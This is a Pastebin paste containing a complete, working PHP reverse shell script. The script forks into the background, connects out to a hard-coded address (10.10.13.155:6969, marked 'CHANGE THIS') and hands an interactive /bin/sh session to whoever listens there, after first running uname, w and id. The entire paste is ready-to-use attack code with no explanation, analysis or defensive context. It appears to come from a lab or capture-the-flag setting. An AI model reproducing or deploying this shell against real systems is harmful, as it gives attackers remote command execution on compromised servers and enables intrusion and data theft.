Advertisement
CreadPag

PHP reversin

Jan 14th, 2019
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.52 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit (0);
  4. $VERSION = "1.0";
  5. $ip = '10.10.13.155';  // CHANGE THIS
  6. $port = 6969;       // CHANGE THIS
  7. $chunk_size = 1400;
  8. $write_a = null;
  9. $error_a = null;
  10. $shell = 'uname -a; w; id; /bin/sh -i';
  11. $daemon = 0;
  12. $debug = 0;
  13.  
  14. //
  15. // Daemonise ourself if possible to avoid zombies later
  16. //
  17.  
  18. // pcntl_fork is hardly ever available, but will allow us to daemonise
  19. // our php process and avoid zombies.  Worth a try...
  20. if (function_exists('pcntl_fork')) {
  21.     // Fork and have the parent process exit
  22.     $pid = pcntl_fork();
  23.    
  24.     if ($pid == -1) {
  25.         printit("ERROR: Can't fork");
  26.         exit(1);
  27.     }
  28.    
  29.     if ($pid) {
  30.         exit(0);  // Parent exits
  31.     }
  32.  
  33.     // Make the current process a session leader
  34.     // Will only succeed if we forked
  35.     if (posix_setsid() == -1) {
  36.         printit("Error: Can't setsid()");
  37.         exit(1);
  38.     }
  39.  
  40.     $daemon = 1;
  41. } else {
  42.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  43. }
  44.  
  45. // Change to a safe directory
  46. chdir("/");
  47.  
  48. // Remove any umask we inherited
  49. umask(0);
  50.  
  51. //
  52. // Do the reverse shell...
  53. //
  54.  
  55. // Open reverse connection
  56. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  57. if (!$sock) {
  58.     printit("$errstr ($errno)");
  59.     exit(1);
  60. }
  61.  
  62. // Spawn shell process
  63. $descriptorspec = array(
  64.    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  65.    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  66.    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  67. );
  68.  
  69. $process = proc_open($shell, $descriptorspec, $pipes);
  70.  
  71. if (!is_resource($process)) {
  72.     printit("ERROR: Can't spawn shell");
  73.     exit(1);
  74. }
  75.  
  76. // Set everything to non-blocking
  77. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  78. stream_set_blocking($pipes[0], 0);
  79. stream_set_blocking($pipes[1], 0);
  80. stream_set_blocking($pipes[2], 0);
  81. stream_set_blocking($sock, 0);
  82.  
  83. printit("Successfully opened reverse shell to $ip:$port");
  84.  
  85. while (1) {
  86.     // Check for end of TCP connection
  87.     if (feof($sock)) {
  88.         printit("ERROR: Shell connection terminated");
  89.         break;
  90.     }
  91.  
  92.     // Check for end of STDOUT
  93.     if (feof($pipes[1])) {
  94.         printit("ERROR: Shell process terminated");
  95.         break;
  96.     }
  97.  
  98.     // Wait until a command is end down $sock, or some
  99.     // command output is available on STDOUT or STDERR
  100.     $read_a = array($sock, $pipes[1], $pipes[2]);
  101.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  102.  
  103.     // If we can read from the TCP socket, send
  104.     // data to process's STDIN
  105.     if (in_array($sock, $read_a)) {
  106.         if ($debug) printit("SOCK READ");
  107.         $input = fread($sock, $chunk_size);
  108.         if ($debug) printit("SOCK: $input");
  109.         fwrite($pipes[0], $input);
  110.     }
  111.  
  112.     // If we can read from the process's STDOUT
  113.     // send data down tcp connection
  114.     if (in_array($pipes[1], $read_a)) {
  115.         if ($debug) printit("STDOUT READ");
  116.         $input = fread($pipes[1], $chunk_size);
  117.         if ($debug) printit("STDOUT: $input");
  118.         fwrite($sock, $input);
  119.     }
  120.  
  121.     // If we can read from the process's STDERR
  122.     // send data down tcp connection
  123.     if (in_array($pipes[2], $read_a)) {
  124.         if ($debug) printit("STDERR READ");
  125.         $input = fread($pipes[2], $chunk_size);
  126.         if ($debug) printit("STDERR: $input");
  127.         fwrite($sock, $input);
  128.     }
  129. }
  130.  
  131. fclose($sock);
  132. fclose($pipes[0]);
  133. fclose($pipes[1]);
  134. fclose($pipes[2]);
  135. proc_close($process);
  136.  
  137. // Like print, but does nothing if we've daemonised ourself
  138. // (I can't figure out how to redirect STDOUT like a proper daemon)
  139. function printit ($string) {
  140.     if (!$daemon) {
  141.         print "$string\n";
  142.     }
  143. }
  144.  
  145. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement